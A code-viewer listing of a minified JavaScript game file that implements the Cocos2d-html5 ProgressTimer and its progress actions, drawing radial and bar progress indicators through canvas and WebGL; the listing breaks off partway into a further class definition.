game.min.js 106 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883388438853886388738883889389038913892389338943895389638973898389939003901390239033904390539063907390839093910391139123913391439153916391739183919392039213922392339243925392639273928392939303931393239333934393539363937393839393940394139423943394439453946394739483949395039513952395339543955395639573958395939603961396239633964396539663967396839693970397139723973397439753976397739783979398039813982398339843985398639873988398939903991399239933994399539963997399839994000400140024003400440054006400740084009401040114012401340144015401640174018401940204021402240234024402540264027402840294030403140324033403440354036403740384039404040414042404340444045404640474048404940504051405240534054405540564057405840594060406140624063406440654066406740684069407040714072407340744075407640774078407940804081408240834084408540864087408840894090409140924093409440954096409740984099410041014102410341044105410641074108410941104111411241134114411541164117411841194120412141224123412441254126412741284129413041314132413341344135413641374138413941404141414241434144414541464147414841494150415141524153415441554156415741584159416041614162416341644165416641674168416941704171417241734174417541764177417841794180418141824183418441854186418741884189419041914192419341944195419641974198419942004201420242034204420542064207420842094210421142124213421442154216421742184219422042214222422342244225422642274228422942304231423242334234423542364237423842394240424142424243424442454246424742484249425042514252425342544255425642574258425942604261426242634264426542664267426842694270427142724273427442754276427742784279428042814282428342844285428642874288428942904291429242934294429542964297429842994300430143024303430443054306430743084309431043114312431343144315431643174318431943204321432243234324432543264327432843294330433143324333433443354336433743384339434043414342434343444345434643474348434943504351435243534354435543564357435843594360436143624363436443654366436743684369437043714372437343744375437643774378437943804381438243834384438543864387438843894390439143924393439443954396439743984399440044014402440344044405440644074408440944104411441244134414441544164417441844194420442144224423442444254426442744284429443044314432443344344435443644374438443944404441444244434444444544464447444844494450445144524453445444554456445744584459446044614462446344644465446644674468446944704471447244734474447544764477447844794480448144824483448444854486448744884489449044914492449344944495449644974498449945004501450245034504450545064507450845094510451145124513451445154516451745184519452045214522452345244525452645274528452945304531453245334534453545364537453845394540454145424543454445454546454745484549455045514552455345544555455645574558455945604561456245634564456545664567456845694570457145724573457445754576457745784579458045814582458345844585458645874588458945904591459245934594459545964597459845994600460146024603460446054606460746084609461046114612461346144615461646174618461946204621462246234624462546264627462846294630463146324633463446354636463746384639464046414642464346444645464646474648464946504651465246534654465546564657465846594660466146624663466446654666466746684669467046714672467346744675467646774678467946804681468246834684468546864687468846894690469146924693469446954696469746984699470047014702470347044705470647074708470947104711471247134714471547164717471847194720472147224723472447254726472747284729473047314732473347344735473647374738473947404741474247434744474547464747474847494750475147524753475447554756475747584759476047614762476347644765476647674768476947704771477247734774477547764777477847794780478147824783478447854786478747884789479047914792479347944795479647974798479948004801480248034804480548064807480848094810481148124813481448154816481748184819482048214822482348244825482648274828482948304831483248334834483548364837483848394840484148424843484448454846484748484849485048514852485348544855485648574858485948604861486248634864486548664867486848694870487148724873487448754876487748784879488048814882488348844885488648874888488948904891489248934894489548964897489848994900490149024903490449054906490749084909491049114912491349144915491649174918491949204921492249234924492549264927492849294930493149324933493449354936493749384939494049414942
  1. var e = !0,
  2. g = null,
  3. h = !1;
  4. function k() {
  5. return function() {}
  6. }
  7. function n(a) {
  8. return function(b) {
  9. this[a] = b
  10. }
  11. }
  12. function p(a) {
  13. return function() {
  14. return this[a]
  15. }
  16. }
  17. function q(a) {
  18. return function() {
  19. return a
  20. }
  21. }
  22. cc.k = cc.NodeRGBA.extend({
  23. H: g,
  24. aa: 0,
  25. n: g,
  26. U: g,
  27. ya: g,
  28. z: h,
  29. bh: "ProgressTimer",
  30. ui: function() {
  31. return cc.p(this.U.x, this.U.y)
  32. },
  33. ag: function(a) {
  34. this.U = cc.pClamp(a, cc.p(0, 0), cc.p(1, 1))
  35. },
  36. mi: function() {
  37. return cc.p(this.ya.x, this.ya.y)
  38. },
  39. Xf: function(a) {
  40. this.ya = cc.pClamp(a, cc.p(0, 0), cc.p(1, 1))
  41. },
  42. Sb: p("H"),
  43. wi: p("aa"),
  44. Ei: p("n"),
  45. cg: function(a) {
  46. this.aa != a && (this.aa = cc.clampf(a, 0, 100), this.Kd())
  47. },
  48. setOpacityModifyRGB: k(),
  49. mo: q(h),
  50. jj: p("z"),
  51. cd: function(a) {
  52. if (a < cc.k.ve) {
  53. var b = cc.k.Zg;
  54. return this.z ? cc.p(b >> 7 - (a << 1) & 1, b >> 7 - ((a << 1) + 1) & 1) : cc.p(b >> (a << 1) + 1 & 1, b >> (a << 1) & 1)
  55. }
  56. return cc.p(0, 0)
  57. },
  58. tc: g,
  59. Id: 270,
  60. jd: 270,
  61. Bd: 0,
  62. fd: h,
  63. bd: g,
  64. t: 0,
  65. o: g,
  66. K: g,
  67. zf: g,
  68. Rb: h,
  69. ctor: g,
  70. dh: function() {
  71. cc.NodeRGBA.prototype.ctor.call(this);
  72. this.H = cc.k.ia;
  73. this.aa = 0;
  74. this.U = cc.p(0, 0);
  75. this.ya = cc.p(0, 0);
  76. this.z = h;
  77. this.n = g;
  78. this.tc = cc.p(0, 0);
  79. this.jd = this.Id = 270;
  80. this.Bd = 0;
  81. this.fd = h;
  82. this.bd = cc.rect(0, 0, 0, 0)
  83. },
  84. eh: function() {
  85. cc.NodeRGBA.prototype.ctor.call(this);
  86. this.H = cc.k.ia;
  87. this.aa = 0;
  88. this.U = cc.p(0, 0);
  89. this.ya = cc.p(0, 0);
  90. this.z = h;
  91. this.n = g;
  92. this.zf = cc._renderContext.createBuffer();
  93. this.t = 0;
  94. this.K = this.o = g;
  95. this.Rb = h
  96. },
  97. setColor: function(a) {
  98. this.n.color = a;
  99. this.Ec()
  100. },
  101. setOpacity: function(a) {
  102. this.n.opacity = a;
  103. this.Ec()
  104. },
  105. getColor: function() {
  106. return this.n.color
  107. },
  108. getOpacity: function() {
  109. return this.n.opacity
  110. },
  111. dg: g,
  112. xh: function(a) {
  113. this.z !== a && (this.z = a)
  114. },
  115. yh: function(a) {
  116. this.z !== a && (this.z = a, this.K = this.o = g, this.t = 0)
  117. },
  118. fe: g,
  119. zh: function(a) {
  120. this.n != a && (this.n = a, this.width = this.n.width, this.height = this.n.height)
  121. },
  122. Ah: function(a) {
  123. a && this.n != a && (this.n = a, this.width = a.width, this.height = a.height, this.o && (this.K = this.o = g, this.t = 0))
  124. },
  125. Qc: g,
  126. Bh: function(a) {
  127. a !== this.H && (this.H = a)
  128. },
  129. Ch: function(a) {
  130. a !== this.H && (this.o && (this.K = this.o = g, this.t = 0), this.H = a)
  131. },
  132. ee: g,
  133. vh: function(a) {
  134. this.z !== a && (this.z = a)
  135. },
  136. wh: function(a) {
  137. this.z !== a && (this.z = a, this.K = this.o = g, this.t = 0)
  138. },
  139. D: function(a) {
  140. var b = this.n;
  141. if (!b) return {
  142. ie: 0,
  143. je: 0
  144. };
  145. var c = b.Tf,
  146. d = cc.p(c.Od.u.ie, c.Od.u.je),
  147. c = cc.p(c.he.u.ie, c.he.u.je);
  148. b.mr && (b = a.x, a.x = a.y, a.y = b);
  149. return {
  150. ie: d.x * (1 - a.x) + c.x * a.x,
  151. je: d.y * (1 - a.y) + c.y * a.y
  152. }
  153. },
  154. F: function(a) {
  155. if (!this.n) return {
  156. x: 0,
  157. y: 0
  158. };
  159. var b = this.n.Tf,
  160. c = cc.p(b.Od.v.x, b.Od.v.y),
  161. b = cc.p(b.he.v.x, b.he.v.y);
  162. return {
  163. x: c.x * (1 - a.x) + b.x * a.x,
  164. y: c.y * (1 - a.y) + b.y * a.y
  165. }
  166. },
  167. Tb: g,
  168. mh: function(a) {
  169. this.percentage = 0;
  170. this.anchorY = this.anchorX = 0.5;
  171. this.H = cc.k.ia;
  172. this.z = h;
  173. this.midPoint = cc.p(0.5, 0.5);
  174. this.barChangeRate = cc.p(1, 1);
  175. this.sprite = a;
  176. return e
  177. },
  178. nh: function(a) {
  179. this.percentage = 0;
  180. this.K = this.o = g;
  181. this.t = 0;
  182. this.anchorY = this.anchorX = 0.5;
  183. this.H = cc.k.ia;
  184. this.z = h;
  185. this.midPoint = cc.p(0.5, 0.5);
  186. this.barChangeRate = cc.p(1, 1);
  187. this.sprite = a;
  188. this.Zq = cc.Yq.Jp(cc.SHADER_POSITION_TEXTURECOLOR);
  189. return e
  190. },
  191. draw: g,
  192. fh: function(a) {
  193. a = a || cc._renderContext;
  194. var b = this.n;
  195. b._isLighterMode && (a.globalCompositeOperation = "lighter");
  196. var c = cc.view.getScaleX(),
  197. d = cc.view.getScaleY();
  198. a.globalAlpha = b._displayedOpacity / 255;
  199. var f = b._rect,
  200. l = b._contentSize,
  201. m = b._offsetPosition,
  202. r = b._drawSize_Canvas,
  203. s = 0 | m.x,
  204. u = -m.y - f.height,
  205. v = b._textureRect_Canvas;
  206. r.width = f.width * c;
  207. r.height = f.height * d;
  208. a.save();
  209. b._flippedX && (s = -m.x - f.width, a.scale(-1, 1));
  210. b._flippedY && (u = m.y, a.scale(1, -1));
  211. s *= c;
  212. u *= d;
  213. this.H == cc.k.fc ? (f = this.bd, a.beginPath(), a.rect(f.x * c, f.y * d, f.width * c, f.height * d), a.clip(), a.closePath()) : this.H == cc.k.ia && (f = this.tc.x * c, m = this.tc.y * d, a.beginPath(), a.arc(f, m, this.Bd * d, Math.PI / 180 * this.Id, Math.PI / 180 * this.jd, this.fd), a.lineTo(f, m), a.clip(), a.closePath());
  214. b.Dh && v.Dr ? (c = b.Dh.dn(), this.vl ? a.drawImage(c, 0, 0, v.width, v.height, s, u, r.width, r.height) : a.drawImage(c, v.x, v.y, v.width, v.height, s, u, r.width, r.height)) : 0 !== l.width && (r = this.color, a.fillStyle = "rgba(" + r.r + "," + r.g + "," + r.b + ",1)", a.fillRect(s, u, l.width * c, l.height * d));
  215. a.restore();
  216. cc.incrementGLDraws(1)
  217. },
  218. gh: function(a) {
  219. a = a || cc._renderContext;
  220. if (this.o && this.n) {
  221. cc.nodeDrawSetup(this);
  222. var b = this.n.Rm();
  223. cc.bo(b.src, b.fm);
  224. cc.co(cc.VERTEX_ATTRIB_FLAG_POS_COLOR_TEX);
  225. cc.ao(this.n.kr);
  226. a.bindBuffer(a.ARRAY_BUFFER, this.zf);
  227. this.Rb && (a.bufferData(a.ARRAY_BUFFER, this.K, a.DYNAMIC_DRAW), this.Rb = h);
  228. b = cc.Qa.BYTES_PER_ELEMENT;
  229. a.vertexAttribPointer(cc.VERTEX_ATTRIB_POSITION, 2, a.FLOAT, h, b, 0);
  230. a.vertexAttribPointer(cc.VERTEX_ATTRIB_COLOR, 4, a.UNSIGNED_BYTE, e, b, 8);
  231. a.vertexAttribPointer(cc.VERTEX_ATTRIB_TEX_COORDS, 2, a.FLOAT, h, b, 12);
  232. this.H === cc.k.ia ? a.drawArrays(a.TRIANGLE_FAN, 0, this.t) : this.H == cc.k.fc && (this.z ? (a.drawArrays(a.TRIANGLE_STRIP, 0, this.t / 2), a.drawArrays(a.TRIANGLE_STRIP, 4, this.t / 2), cc.g_NumberOfDraws++) : a.drawArrays(a.TRIANGLE_STRIP, 0, this.t));
  233. cc.g_NumberOfDraws++
  234. }
  235. },
  236. Hh: function() {
  237. if (this.n) {
  238. var a, b = this.U;
  239. a = this.aa / 100;
  240. var c = 2 * cc.PI * (this.z ? a : 1 - a),
  241. d = cc.p(b.x, 1),
  242. f = cc.pRotateByAngle(d, b, c),
  243. c = 0;
  244. if (0 == a) f = d, c = 0;
  245. else if (1 == a) f = d, c = 4;
  246. else {
  247. var l = cc.FLT_MAX,
  248. m = cc.k.ve;
  249. for (a = 0; a <= m; ++a) {
  250. var r = (a + (m - 1)) % m,
  251. s = this.cd(a % m),
  252. r = this.cd(r);
  253. 0 == a ? r = cc.pLerp(s, r, 1 - b.x) : 4 == a && (s = cc.pLerp(s, r, 1 - b.x));
  254. var u = cc.p(0, 0);
  255. if (cc.pLineIntersect(s, r, b, f, u) && (!(0 == a || 4 == a) || 0 <= u.x && 1 >= u.x) && 0 <= u.y && u.y < l) l = u.y, c = a
  256. }
  257. f = cc.pAdd(b, cc.pMult(cc.pSub(f, b), l))
  258. }
  259. l = e;
  260. this.t != c + 3 && (l = h, this.K = this.o = g, this.t = 0);
  261. if (!this.o) {
  262. m = this.t = c + 3;
  263. s = cc.Qa.BYTES_PER_ELEMENT;
  264. this.K = new ArrayBuffer(m * s);
  265. r = [];
  266. for (a = 0; a < m; a++) r[a] = new cc.Qa(g, g, g, this.K, a * s);
  267. this.o = r;
  268. if (!this.o) {
  269. cc.log("cc.ProgressTimer._updateRadial() : Not enough memory");
  270. return
  271. }
  272. }
  273. this.Ec();
  274. m = this.o;
  275. if (!l) {
  276. m[0].u = this.D(b);
  277. m[0].v = this.F(b);
  278. m[1].u = this.D(d);
  279. m[1].v = this.F(d);
  280. for (a = 0; a < c; a++) b = this.cd(a), m[a + 2].u = this.D(b), m[a + 2].v = this.F(b)
  281. }
  282. m[this.t - 1].u = this.D(f);
  283. m[this.t - 1].v = this.F(f)
  284. }
  285. },
  286. Eh: function() {
  287. if (this.n) {
  288. var a, b = this.aa / 100,
  289. c = this.ya,
  290. c = cc.pMult(cc.p(1 - c.x + b * c.x, 1 - c.y + b * c.y), 0.5),
  291. b = cc.pSub(this.U, c),
  292. c = cc.pAdd(this.U, c);
  293. 0 > b.x && (c.x += -b.x, b.x = 0);
  294. 1 < c.x && (b.x -= c.x - 1, c.x = 1);
  295. 0 > b.y && (c.y += -b.y, b.y = 0);
  296. 1 < c.y && (b.y -= c.y - 1, c.y = 1);
  297. if (this.z) {
  298. if (!this.o) {
  299. this.t = 8;
  300. var d = cc.Qa.BYTES_PER_ELEMENT;
  301. this.K = new ArrayBuffer(8 * d);
  302. var f = [];
  303. for (a = 0; 8 > a; a++) f[a] = new cc.Qa(g, g, g, this.K, a * d);
  304. f[0].u = this.D(cc.p(0, 1));
  305. f[0].v = this.F(cc.p(0, 1));
  306. f[1].u = this.D(cc.p(0, 0));
  307. f[1].v = this.F(cc.p(0, 0));
  308. f[6].u = this.D(cc.p(1, 1));
  309. f[6].v = this.F(cc.p(1, 1));
  310. f[7].u = this.D(cc.p(1, 0));
  311. f[7].v = this.F(cc.p(1, 0));
  312. this.o = f
  313. }
  314. a = this.o;
  315. a[2].u = this.D(cc.p(b.x, c.y));
  316. a[2].v = this.F(cc.p(b.x, c.y));
  317. a[3].u = this.D(cc.p(b.x, b.y));
  318. a[3].v = this.F(cc.p(b.x, b.y));
  319. a[4].u = this.D(cc.p(c.x, c.y));
  320. a[4].v = this.F(cc.p(c.x, c.y));
  321. a[5].u = this.D(cc.p(c.x, b.y));
  322. a[5].v = this.F(cc.p(c.x, b.y))
  323. } else {
  324. if (!this.o) {
  325. this.t = 4;
  326. d = cc.Qa.BYTES_PER_ELEMENT;
  327. this.K = new ArrayBuffer(4 * d);
  328. this.o = [];
  329. for (a = 0; 4 > a; a++) this.o[a] = new cc.Qa(g, g, g, this.K, a * d)
  330. }
  331. a = this.o;
  332. a[0].u = this.D(cc.p(b.x, c.y));
  333. a[0].v = this.F(cc.p(b.x, c.y));
  334. a[1].u = this.D(cc.p(b.x, b.y));
  335. a[1].v = this.F(cc.p(b.x, b.y));
  336. a[2].u = this.D(cc.p(c.x, c.y));
  337. a[2].v = this.F(cc.p(c.x, c.y));
  338. a[3].u = this.D(cc.p(c.x, b.y));
  339. a[3].v = this.F(cc.p(c.x, b.y))
  340. }
  341. this.Ec()
  342. }
  343. },
  344. Ec: function() {
  345. if (this.n && this.o) {
  346. for (var a = this.n.Tf.nr.Qh, b = this.o, c = 0, d = this.t; c < d; ++c) b[c].Qh = a;
  347. this.Rb = e
  348. }
  349. },
  350. Kd: g,
  351. Fh: function() {
  352. var a = this.n,
  353. b = a.width,
  354. c = a.height,
  355. d = this.U;
  356. if (this.H == cc.k.ia) {
  357. this.Bd = Math.round(Math.sqrt(b * b + c * c));
  358. var f, l = h,
  359. m = this.tc;
  360. m.x = b * d.x;
  361. m.y = -c * d.y;
  362. this.z ? (f = 270, d = 270 - 3.6 * this.aa) : (d = -90, f = -90 + 3.6 * this.aa);
  363. a._flippedX && (m.x -= b * 2 * this.U.x, d = -d - 180, f = -f - 180, l = !l);
  364. a._flippedY && (m.y += c * 2 * this.U.y, l = !l, d = -d, f = -f);
  365. this.Id = d;
  366. this.jd = f;
  367. this.fd = l
  368. } else {
  369. f = this.ya;
  370. m = this.aa / 100;
  371. l = this.bd;
  372. f = cc.size(b * (1 - f.x), c * (1 - f.y));
  373. var m = cc.size((b - f.width) * m, (c - f.height) * m),
  374. m = cc.size(f.width + m.width, f.height + m.height),
  375. r = cc.p(b * d.x, c * d.y);
  376. f = r.x - m.width / 2;
  377. 0.5 < d.x && m.width / 2 >= b - r.x && (f = b - m.width);
  378. b = r.y - m.height / 2;
  379. 0.5 < d.y && m.height / 2 >= c - r.y && (b = c - m.height);
  380. l.x = 0;
  381. c = 1;
  382. a._flippedX && (l.x -= m.width, c = -1);
  383. 0 < f && (l.x += f * c);
  384. l.y = 0;
  385. c = 1;
  386. a._flippedY && (l.y += m.height, c = -1);
  387. 0 < b && (l.y -= b * c);
  388. l.width = m.width;
  389. l.height = -m.height
  390. }
  391. },
  392. Gh: function() {
  393. var a = this.H;
  394. a === cc.k.ia ? this.Hh() : a === cc.k.fc && this.Eh();
  395. this.Rb = e
  396. }
  397. });
  398. var t = cc.k.prototype;
  399. cc._renderType == cc._RENDER_TYPE_WEBGL ? (t.ctor = t.eh, t.dg = t.yh, t.fe = t.Ah, t.Qc = t.Ch, t.ee = t.wh, t.Tb = t.nh, t.draw = t.gh, t.Kd = t.Gh) : (t.ctor = t.dh, t.dg = t.xh, t.fe = t.zh, t.Qc = t.Bh, t.ee = t.vh, t.Tb = t.mh, t.draw = t.fh, t.Kd = cc.k.prototype.Fh);
  400. cc.defineGetterSetter(t, "midPoint", t.ui, t.ag);
  401. cc.defineGetterSetter(t, "barChangeRate", t.mi, t.Xf);
  402. cc.defineGetterSetter(t, "type", t.Sb, t.Qc);
  403. cc.defineGetterSetter(t, "percentage", t.wi, t.cg);
  404. cc.defineGetterSetter(t, "sprite", t.Ei, t.fe);
  405. cc.defineGetterSetter(t, "reverseDir", t.jj, t.ee);
  406. cc.k.create = function(a) {
  407. var b = new cc.k;
  408. return b.Tb(a) ? b : g
  409. };
  410. cc.k.ve = 4;
  411. cc.k.Zg = 75;
  412. cc.k.ia = 0;
  413. cc.k.fc = 1;
  414. cc.Wc = cc.ActionInterval.extend({
  415. ba: 0,
  416. O: 0,
  417. ctor: function(a, b) {
  418. cc.ActionInterval.prototype.ctor.call(this);
  419. this.O = this.ba = 0;
  420. void 0 !== b && this.initWithDuration(a, b)
  421. },
  422. initWithDuration: function(a, b) {
  423. return cc.ActionInterval.prototype.initWithDuration.call(this, a) ? (this.ba = b, e) : h
  424. },
  425. clone: function() {
  426. var a = new cc.Wc;
  427. a.initWithDuration(this.Ce, this.ba);
  428. return a
  429. },
  430. reverse: function() {
  431. cc.log("cc.ProgressTo.reverse(): reverse hasn't been supported.");
  432. return g
  433. },
  434. startWithTarget: function(a) {
  435. cc.ActionInterval.prototype.startWithTarget.call(this, a);
  436. this.O = a.percentage;
  437. 100 == this.O && (this.O = 0)
  438. },
  439. update: function(a) {
  440. this.target instanceof cc.k && (this.target.percentage = this.O + (this.ba - this.O) * a)
  441. }
  442. });
  443. cc.Wc.create = function(a, b) {
  444. return new cc.Wc(a, b)
  445. };
  446. cc.zb = cc.ActionInterval.extend({
  447. ba: 0,
  448. O: 0,
  449. ctor: function(a, b, c) {
  450. cc.ActionInterval.prototype.ctor.call(this);
  451. this.O = this.ba = 0;
  452. void 0 !== c && this.initWithDuration(a, b, c)
  453. },
  454. initWithDuration: function(a, b, c) {
  455. return cc.ActionInterval.prototype.initWithDuration.call(this, a) ? (this.ba = c, this.O = b, e) : h
  456. },
  457. clone: function() {
  458. var a = new cc.zb;
  459. a.initWithDuration(this.Ce, this.O, this.ba);
  460. return a
  461. },
  462. reverse: function() {
  463. return cc.zb.create(this.Ce, this.ba, this.O)
  464. },
  465. startWithTarget: function(a) {
  466. cc.ActionInterval.prototype.startWithTarget.call(this, a)
  467. },
  468. update: function(a) {
  469. this.target instanceof cc.k && (this.target.percentage = this.O + (this.ba - this.O) * a)
  470. }
  471. });
  472. cc.zb.create = function(a, b, c) {
  473. return new cc.zb(a, b, c)
  474. };
  475. cc.Vc = cc.Class.extend({
  476. Lb: g,
  477. Ib: g,
  478. Cb: g,
  479. Gn: p("Lb"),
